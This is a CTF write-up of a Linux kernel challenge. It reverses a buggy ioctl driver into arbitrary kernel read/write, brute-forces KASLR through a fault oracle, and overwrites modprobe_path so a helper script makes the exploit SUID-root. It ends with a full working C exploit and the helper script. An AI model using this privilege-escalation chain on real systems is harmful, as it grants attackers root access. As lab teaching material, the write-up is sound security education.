Bruteforcing KASLR with AAR/AAW primitive to modprobe_path root shell

Skull is a Linux kernel challenge from TCP1P CTF 2023. The module is only a few functions, but IDA split its 16-byte ioctl request into two stack variables, so the actual layout was not obvious from the decompilation.

Once the request layout is written down, the bug is very direct:

  1. Command 0x6969 copies eight bytes from an attacker-chosen kernel address back into the request.
  2. Command 0xFADE copies eight bytes from an attacker-chosen userspace address to an attacker-chosen kernel address.
  3. Failed reads return -EFAULT instead of crashing the kernel, so the read primitive is also a mapped-address oracle.
  4. The x86-64 KASLR candidates are 2 MiB apart. I scan them for the first bytes of startup_64.
  5. With the runtime _text address known, I calculate modprobe_path and replace it with an absolute helper path using two eight-byte writes.

The final flow is:

open /dev/cook
    -> probe possible startup_64 addresses with ioctl 0x6969
    -> compare a known instruction qword
    -> recover the runtime _text address
    -> add the static modprobe_path offset
    -> write /home/blud/x\0 with two ioctl 0xFADE calls
    -> execute a file with invalid binary magic
    -> kernel invokes /home/blud/x as root
    -> helper makes the exploit binary SUID-root
    -> execute the exploit again in shell mode
    -> normalize the real and effective IDs to root before starting BusyBox

Made a mermaid diagram below to make it visual chain.png

1. Reading the challenge environment

The handout boots Linux 6.1.56. My local launcher uses:

qemu-system-x86_64 \
    -m 64M \
    -cpu kvm64,+smep,+smap \
    -nographic \
    -kernel handout/bzImage \
    -initrd rootfs-with-poc.cpio.gz \
    -append "console=ttyS0 quiet kaslr panic=1 kpti=1 oops=panic"

The relevant mitigations are KASLR, SMEP, SMAP, and KPTI. This exploit never executes a ROP chain or userspace code at ring 0, so only KASLR needs an active bypass. The other mitigations do not stop a data-only overwrite performed by the kernel's own uaccess helpers.

The init script loads cook.ko, creates a world-accessible device, and drops to the blud user:

modprobe cook
mknod -m 666 /dev/cook c `grep cook /proc/devices | awk '{print $1;}'` 0

setsid cttyhack setuidgid blud sh

It also locks down /root recursively:

chmod 700 -R /root

Changing the mode of a file inside /root would not let blud open it while the parent directory still denies traversal. I instead use the root helper to create an interactive root shell.

2. Reconstructing the ioctl request

The arbitrary-read branch in IDA:

reading

The arbitrary-write branch:

write-ida.png

With the printk and stack-canary boilerplate removed, the relevant handler is:

long gyattt_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
    void *v5;
    unsigned long v6;

    if (cmd == 0x6969) {
        if (copy_from_user(&v5, (void __user *)arg, 16) != 0)
            return -EFAULT;

        if (copy_to_user((void __user *)arg, (void *)v6, 8) != 0)
            return -EFAULT;

        return 0;
    }

    if (cmd == 0xFADE) {
        if (copy_from_user(&v5, (void __user *)arg, 16) != 0)
            return -EFAULT;

        if (copy_from_user(v5, (void __user *)v6, 8) != 0)
            return -EFAULT;
    }

    return 0;
}

The third ioctl argument is a userspace address:

ioctl(fd, command, &request);

Inside the kernel, arg contains the numeric value of &request. The first copy_from_user() copies 16 bytes starting there.

The stack offsets explain why a 16-byte copy into &v5 is not overwriting the canary:

kernel stack

&v5 + 0x00    v5       first 8 bytes
&v5 + 0x08    v6       second 8 bytes
&v5 + 0x10    canary

IDA represented a small request object as two adjacent locals. The actual mapping is:

userspace request              kernel stack

+0x00 first qword  --------->  v5
+0x08 second qword --------->  v6

The exploit uses this definition:

typedef struct k_request {
    uint64_t value;
    uint64_t kptr;
} k_request;

Distinct marker bytes in each qword make the placement easy to verify in GDB.

3. Command 0x6969 is an eight-byte kernel read

The uaccess prototypes are easiest to read with their real argument names:

copy_from_user(kernel_destination, userspace_source, size);
copy_to_user(userspace_destination, kernel_source, size);

After the 16-byte request copy, command 0x6969 executes:

copy_to_user((void __user *)arg, (void *)v6, 8);

v6 came from the request's second qword. The destination is arg, which points to the beginning of the same request. The operation is therefore:

req.kptr is interpreted as a kernel source address
eight bytes are read from req.kptr
the bytes overwrite req.value

The correct request layout for a read is:

before ioctl 0x6969

req.value = output placeholder
req.kptr  = kernel address to read

after a successful ioctl

req.value = *(uint64_t *)req.kptr
req.kptr  = unchanged

The kernel-read source must be in the second qword. The module copies exactly 16 bytes, so only those two qwords reach the kernel stack.

The working wrapper is:

static int read_kernel(int fd, uint64_t address, uint64_t *result) {
    k_request req = {
        .value = 0,
        .kptr = address,
    };
    if (ioctl(fd, 0x6969, &req) == -1) {
        return -1;
    }
    *result = req.value;
    return 0;
}

I check the ioctl result rather than testing req.value != 0. A valid kernel address may legitimately contain zero. An unreadable address makes the module return -EFAULT, which libc exposes as ioctl() == -1 with errno == EFAULT.

4. Command 0xFADE is an eight-byte kernel write

The first copy is identical, so the same mapping applies:

req.value -> v5
req.kptr  -> v6

The second operation is different:

copy_from_user(v5, (void __user *)v6, 8);

For this command:

v5 = kernel destination address
v6 = userspace source address

The second qword is a pointer to the source bytes, not the eight-byte value itself.

req.value = destination in kernel memory
req.kptr  = address of eight bytes in userspace

copy_from_user(req.value, req.kptr, 8)

The wrapper is:

static int write_kernel(int fd, uint64_t address1, char *path) {
    char *new_path = path;
    k_request req = {
        .value = address1,
        .kptr = *(uint64_t *)&new_path,
    };
    if (ioctl(fd, 0xFADE, &req) == -1) {
        return -1;
    }
    return 0;
}

SMAP does not block this because copy_from_user() is the supported path for reading userspace memory. The module itself temporarily performs the required access and handles faults.

At this point the driver gives an eight-byte arbitrary kernel read and write. The remaining problem is finding the randomized kernel image.

5. Using failed reads as a KASLR oracle

An arbitrary read still needs an address. One option is to leak a kernel object pointer and subtract a known symbol offset. This handler also provides a mapped-address oracle.

When copy_to_user() receives an invalid kernel source, the uaccess exception table recovers from the page fault. The helper reports bytes not copied, and the ioctl returns -EFAULT. The VM stays alive.

That turns every read into this question:

is this candidate address readable?

KASLR does not choose an arbitrary canonical address. For this x86-64 build, the kernel text candidates retain their offset within a 2 MiB alignment:

0xffffffff81000000
0xffffffff81200000
0xffffffff81400000
...

The scan needs a way to distinguish _text from an unrelated readable page. During a nokaslr boot I inspected the first qword of startup_64:

gef> x/gx 0xffffffff81000000
0xffffffff81000000 <startup_64>: 0x4801803f51258d48

kernel-brute-chk.png

This qword contains the first eight instruction bytes of startup_64. KASLR relocates the supplied kernel image, but these bytes stay the same. The value is build-specific and may change if the kernel is rebuilt.

The exploit scans for that qword directly:

uint64_t value;
for (uint64_t addr = 0xffffffff81000000;
     addr < 0xffffffffc1000000;
     addr += 0x20000) {
    if (read_kernel(fd, addr, &value) == 0 &&
        value == 0x4801803f51258d48ULL) {
        printf("runtime _text:%#lx\n", addr);
        kbase = addr;
        break;
    }
}

The loop steps by 0x20000 (128 KiB). That is smaller than the 2 MiB KASLR alignment, so it makes extra probes but still reaches every possible base.

The matching PoC and GEF values confirm the request mapping and identify the runtime kbase.

kbase-check.png

6. Calculating modprobe_path

In a nokaslr boot, GEF resolved:

gef> x/s 0xffffffff82852420
0xffffffff82852420 <modprobe_path>: "/sbin/modprobe"

The offset from _text is:

static modprobe_path = 0xffffffff82852420
static _text         = 0xffffffff81000000
offset               = 0x01852420

Adding that build-specific offset to the runtime kernel base gives the runtime address of modprobe_path:

uint64_t modprobe_path = kbase + 0x01852420;

7. The helper path needs two writes

Each 0xFADE ioctl writes exactly eight bytes. modprobe_path should contain an absolute path because the kernel usermode-helper worker does not reliably use the interactive shell's working directory. The helper path is:

/home/blud/x\0

In this rootfs, the init script creates /tmp as a root-owned 0755 directory. blud cannot create /tmp/x, while /home/blud is explicitly owned by blud. The helper therefore lives at /home/blud/x.

The path is longer than eight bytes, so the exploit splits it across two writes:

char part1[] = "/home/bl";
char part2[] = "ud/x\x00";

write_kernel(fd, modprobe_path, part1);
write_kernel(fd, modprobe_path + 8, part2);

The chunks are:

destination              source bytes
-----------------------  -------------------------
modprobe_path + 0x00     "/home/bl"
modprobe_path + 0x08     "ud/x\0..."

The NUL after ud/x terminates the helper path. Only /home/blud/x is used as the filename.

8. Triggering the overwritten helper

The helper script is created before changing kernel memory:

void setup(){
    FILE *f = fopen("/home/blud/x", "w");                                                                                                                                                                  
    fprintf(f, "#!/bin/sh\n");
    fprintf(f, "chown root:root /home/blud/poc\n");
    fprintf(f, "chmod 4755 /home/blud/poc\n");
    fclose(f);                                                                                                                                                                                       
    chmod("/home/blud/x", 0755);                                                                                                                                                                            
                                                                                                                                                                                                    
    // Create /tmp/execthis with invalid binary magic                                                                                                                                                     
    f = fopen("/home/blud/execthis", "wb");                                                                                                                                                                     
    char magic[] = {0xff, 0xff, 0xff, 0xff};                                                                                                                                                         
    fwrite(magic, 1, 4, f);                                                                                                                                                                          
    fclose(f);                                                                                                                                                                                       
    chmod("/home/blud/execthis", 0755);

}

The script runs as root through modprobe_path. It changes the owner of the exploit binary to root and sets mode 4755, so later executions start with effective UID 0.

The trigger file contains an unsupported binary header.

When Linux cannot find a binary-format handler for the file, it requests a module for the unknown format. That request uses modprobe_path, which now contains /home/blud/x. I covered this trigger in more detail in my earlier modprobe_path post.

system("/home/blud/execthis");
execl("/home/blud/poc", "poc", "shell", NULL);

The file remains invalid after the module request returns, so BusyBox may print a not found error while handling it. By then the helper has already made /home/blud/poc SUID-root.

9. Getting a root shell

The second execution must avoid running the kernel exploit again. I use one argument to select a short shell path at the start of main():

if (argc == 2 && !strcmp(argv[1], "shell")) {
    if (setgid(0) || setuid(0)) {
        perror("setuid/setgid");
        return 1;
    }
    execl("/bin/sh", "sh", NULL);
    perror("execl");
    return 1;
}

When blud executes the SUID-root poc, Linux gives it real UID 1000 and effective UID 0. Starting BusyBox ash in that state is not enough because the shell drops the elevated effective UID. At this point poc still has effective UID 0, so setgid(0) and setuid(0) can set the real and effective IDs to 0 before /bin/sh starts.

The second execl() call is equivalent to executing:

/home/blud/poc shell

Its arguments become:

argc    = 2
argv[0] = "poc"    conventional process name
argv[1] = "shell"  selects the root-shell branch
argv[2] = NULL     end of the argument vector

The first execl() parameter is the real filesystem path. The remaining strings form the new program's argument vector; the final NULL is mandatory because execl() is variadic. It replaces the current process rather than forking, and only returns when execution fails.

10. End-to-end exploit flow

create /home/blud/x as an executable root helper
    -> create /home/blud/execthis with invalid magic
    -> open /dev/cook
    -> put a candidate kernel address in request qword 2
    -> ioctl 0x6969 copies eight kernel bytes into qword 1
    -> failed candidates return EFAULT without crashing
    -> advance candidates by 0x20000
    -> match the startup_64 qword
    -> runtime _text is known
    -> add modprobe_path offset 0x01852420
    -> ioctl 0xFADE writes the first eight path bytes
    -> ioctl 0xFADE writes the remaining bytes and NUL
    -> execute the invalid file
    -> kernel requests a binfmt module through the replaced helper path
    -> /home/blud/x runs as root
    -> helper changes /home/blud/poc to root:root mode 4755
    -> execute /home/blud/poc shell
    -> SUID gives poc effective UID 0
    -> poc calls setgid(0) and setuid(0)
    -> execute /bin/sh with real and effective IDs already 0

11. Full exploit

#define _GNU_SOURCE

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <unistd.h>

typedef unsigned long long u64;

void setup(){
    FILE *f = fopen("/home/blud/x", "w");
    fprintf(f, "#!/bin/sh\n");
    fprintf(f, "chown root:root /home/blud/poc\n");
    fprintf(f, "chmod 4755 /home/blud/poc\n");
    fclose(f);
    chmod("/home/blud/x", 0755);

    // Create /tmp/execthis with invalid binary magic
    f = fopen("/home/blud/execthis", "wb");
    char magic[] = {0xff, 0xff, 0xff, 0xff};
    fwrite(magic, 1, 4, f);
    fclose(f);
    chmod("/home/blud/execthis", 0755);

}

typedef struct k_request {
    uint64_t value; //output
    uint64_t kptr; //input
} k_request;


static int read_kernel(int fd, uint64_t address, uint64_t *result) {
    k_request req = {
        .value = 0,
        .kptr = address,
    };
    if (ioctl(fd, 0x6969, &req) == -1) {
        return -1;
    }
    *result = req.value;
    return 0;
}

static int write_kernel(int fd, uint64_t address1, char *path) {
    char *new_path = path;
    k_request req = {
        .value = address1,
        .kptr = *(uint64_t*)&new_path,
    };
    if (ioctl(fd, 0xFADE, &req) == -1) {
        return -1;
    }
    return 0;
}

static u64 kbase;

int main(int argc, char **argv) {
    if (argc == 2 && !strcmp(argv[1], "shell")) {
        if (setgid(0) || setuid(0)) {
            perror("setuid/setgid");
            return 1;
        }
        execl("/bin/sh", "sh", NULL);
        perror("execl");
        return 1;
    }

    setup();
    const int fd = open("/dev/cook", O_RDWR);

    /*
    read primitive
    */
    uint64_t value;
    for (uint64_t addr = 0xffffffff81000000; addr < 0xffffffffc1000000; addr += 0x20000) {
        if (read_kernel(fd, addr, &value) == 0 &&
            value == 0x4801803f51258d48ULL) { // bytes start of kbase to check if its kbase
            printf("runtime _text:%#lx\n", addr);
            kbase = addr;
            break;
        }
    }

    /*
    write primitive
    */

    const u64 modprobe_path = kbase + 0x01852420;
    printf("modprobe_path:%#lx\n", modprobe_path);

    char part1[] = "/home/bl";
    char part2[] = "ud/x\x00";
    write_kernel(fd, modprobe_path, part1);
    write_kernel(fd, modprobe_path+8, part2);

    system("/home/blud/execthis");
    execl("/home/blud/poc", "poc", "shell", NULL);
    perror("execl");
    return 0;
}

solve

References